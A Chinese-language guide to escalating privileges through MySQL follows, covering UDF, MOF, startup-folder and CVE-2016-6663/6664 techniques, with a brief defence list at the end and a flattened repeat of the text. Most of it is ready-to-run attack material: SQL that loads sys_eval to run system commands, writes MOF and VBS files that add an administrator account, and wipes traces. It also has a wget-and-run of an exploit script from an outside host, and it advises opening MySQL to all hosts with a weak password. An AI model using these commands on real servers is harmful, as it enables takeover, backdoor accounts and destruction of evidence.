数据库MySQL提权
字数 1533 2025-08-03 16:45:24

MySQL提权技术全面指南

一、UDF提权技术

1.1 UDF基础概念

UDF(User Defined Function)是MySQL的扩展接口,允许用户创建自定义函数,这些函数可以像内置函数一样在SQL语句中调用。

1.2 提权前提条件

  • 获取数据库用户和密码
  • MySQL允许远程登录
  • 具有文件写入权限(secure_file_priv值为空)
  • Windows下要求:
    • MySQL>5.1:udf.dll必须放在lib\plugin目录(默认不存在)
    • MySQL<5.1:2003系统放c:\windows\system32,2000系统放c:\winnt\system32

1.3 提权步骤

  1. 创建lib/plugin目录(如不存在)
  2. 导出udf.dll到目标目录
  3. 创建函数:
    create function sys_eval returns string soname 'udf.dll';
    
  4. 执行系统命令:
    select sys_eval('whoami');
    

1.4 工具使用

1.4.1 MDUT工具

  • 支持多数据库操作
  • 使用步骤:
    1. 新建目标连接
    2. 创建lib/plugin目录
    3. 执行UDF提权
    4. 执行系统命令

1.4.2 MSF提权

  • 使用模块:exploit/multi/mysql/mysql_udf_payload
  • 需要先创建lib/plugin目录
  • 生成随机名称的dll文件并加载

1.5 手工提权

  1. 获取udf.dll文件(可从sqlmap或msf获取)
    • sqlmap文件需要解码:
      python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
      
  2. 上传到目标服务器
  3. 创建函数:
    create function [function_name] returns string soname "lib_mysqludf_sys.dll";
    
  4. 查看dll中包含的函数名(使用十六进制编辑器)

二、MOF提权技术

2.1 MOF提权原理

利用Windows系统的托管对象格式文件,该文件每5秒监控进程创建和死亡,通过替换此文件执行恶意命令。

2.2 利用条件

  • 仅适用于Windows系统(XP/2003等低版本)
  • 对C:\Windows\System32\wbem\MOF目录有写权限
  • 可找到一个可写目录写入mof文件

2.3 手动提权步骤

  1. 生成testmod.mof文件
  2. 上传到靶机可写目录
  3. 执行导入命令:
    select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof";
    

2.4 MSF提权

使用模块:exploit/windows/mysql/mysql_mof

2.5 痕迹清理

net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\test.mof /F /S
net user hacker /delete
net start winmgmt

三、启动项提权

3.1 启动项路径

  • Windows 2003:
    C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
    C:\Documents and Settings\All Users\「开始」菜单\程序\启动
    
  • Windows 2008:
    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    

3.2 利用方法

  1. 创建vbs脚本:
    set wshshell=createobject("wscript.shell")
    a=wshshell.run("cmd.exe /c net user test test123 /add",0)
    b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)
    
  2. 上传到启动目录
  3. 或使用SQL语句直接写入:
    use mysql;
    create table test(cmd text);
    insert into a values("set wshshell=createobject(""wscript.shell"")");
    insert into a values("a=wshshell.run(""cmd.exe /c net user test test123 /add"",0)");
    insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators test /add"",0)");
    select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs";
    

四、CVE-2016-6663/6664提权

4.1 CVE-2016-6663

将www-data权限提升为mysql权限

利用条件:

  • 已获取webshell(www-data权限)
  • 拥有CREATE/DROP/INSERT/SELECT权限的数据库账号
  • 需要在交互式shell环境中运行
  • MySQL版本<5.5.51或<5.6.32或<5.7.14

利用步骤:

  1. 下载exp(mysql-privesc-race.c)
  2. 编译:
    gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
    
  3. 执行:
    ./mysql-privesc-race test 123456 localhost test
    

4.2 CVE-2016-6664

将mysql权限提升为root权限

前提条件:

  • 日志配置为基于文件(非syslog)
  • MySQL版本<5.5.51或<5.6.32或<5.7.14

利用步骤:

  1. 确保不是syslog日志方式
  2. 下载执行exp:
    wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
    chmod 777 mysql-chowned.sh
    ./mysql-chowned.sh /var/log/mysql/error.log
    

五、常见问题解决

5.1 远程连接问题

  1. 修改my.cnf:
    bind-address = 0.0.0.0
    
  2. 授权远程用户:
    grant all on *.* to admin@'%' identified by '123456' with grant option;
    flush privileges;
    

5.2 secure_file_priv设置

  • 值为null:不允许导入导出
  • 值为路径:限制导入导出到指定目录
  • 值为空:无限制
    修改my.ini添加:
secure_file_priv=''

5.3 函数删除

drop function if exists [function_name];

六、防御建议

  1. 限制MySQL用户权限
  2. 设置secure_file_priv为特定目录或null
  3. 及时更新MySQL版本
  4. 限制lib/plugin目录权限
  5. 监控异常进程创建
  6. 定期检查启动项
  7. 对MOF目录设置严格权限
MySQL提权技术全面指南 一、UDF提权技术 1.1 UDF基础概念 UDF(User Defined Function)是MySQL的扩展接口,允许用户创建自定义函数,这些函数可以像内置函数一样在SQL语句中调用。 1.2 提权前提条件 获取数据库用户和密码 MySQL允许远程登录 具有文件写入权限(secure_ file_ priv值为空) Windows下要求: MySQL>5.1:udf.dll必须放在lib\plugin目录(默认不存在) MySQL <5.1:2003系统放c:\windows\system32,2000系统放c:\winnt\system32 1.3 提权步骤 创建lib/plugin目录(如不存在) 导出udf.dll到目标目录 创建函数: 执行系统命令: 1.4 工具使用 1.4.1 MDUT工具 支持多数据库操作 使用步骤: 新建目标连接 创建lib/plugin目录 执行UDF提权 执行系统命令 1.4.2 MSF提权 使用模块:exploit/multi/mysql/mysql_ udf_ payload 需要先创建lib/plugin目录 生成随机名称的dll文件并加载 1.5 手工提权 获取udf.dll文件(可从sqlmap或msf获取) sqlmap文件需要解码: 上传到目标服务器 创建函数: 查看dll中包含的函数名(使用十六进制编辑器) 二、MOF提权技术 2.1 MOF提权原理 利用Windows系统的托管对象格式文件,该文件每5秒监控进程创建和死亡,通过替换此文件执行恶意命令。 2.2 利用条件 仅适用于Windows系统(XP/2003等低版本) 对C:\Windows\System32\wbem\MOF目录有写权限 可找到一个可写目录写入mof文件 2.3 手动提权步骤 生成testmod.mof文件 上传到靶机可写目录 执行导入命令: 2.4 MSF提权 使用模块:exploit/windows/mysql/mysql_ mof 2.5 痕迹清理 三、启动项提权 3.1 启动项路径 Windows 2003: Windows 2008: 3.2 利用方法 创建vbs脚本: 上传到启动目录 或使用SQL语句直接写入: 四、CVE-2016-6663/6664提权 4.1 CVE-2016-6663 将www-data权限提升为mysql权限 利用条件: 已获取webshell(www-data权限) 拥有CREATE/DROP/INSERT/SELECT权限的数据库账号 需要在交互式shell环境中运行 MySQL版本<5.5.51或<5.6.32或 <5.7.14 利用步骤: 下载exp(mysql-privesc-race.c) 编译: 执行: 4.2 CVE-2016-6664 将mysql权限提升为root权限 前提条件: 日志配置为基于文件(非syslog) MySQL版本<5.5.51或<5.6.32或 <5.7.14 利用步骤: 确保不是syslog日志方式 下载执行exp: 五、常见问题解决 5.1 远程连接问题 修改my.cnf: 授权远程用户: 5.2 secure_ file_ priv设置 值为null:不允许导入导出 值为路径:限制导入导出到指定目录 值为空:无限制 修改my.ini添加: 5.3 函数删除 六、防御建议 限制MySQL用户权限 设置secure_ file_ priv为特定目录或null 及时更新MySQL版本 限制lib/plugin目录权限 监控异常进程创建 定期检查启动项 对MOF目录设置严格权限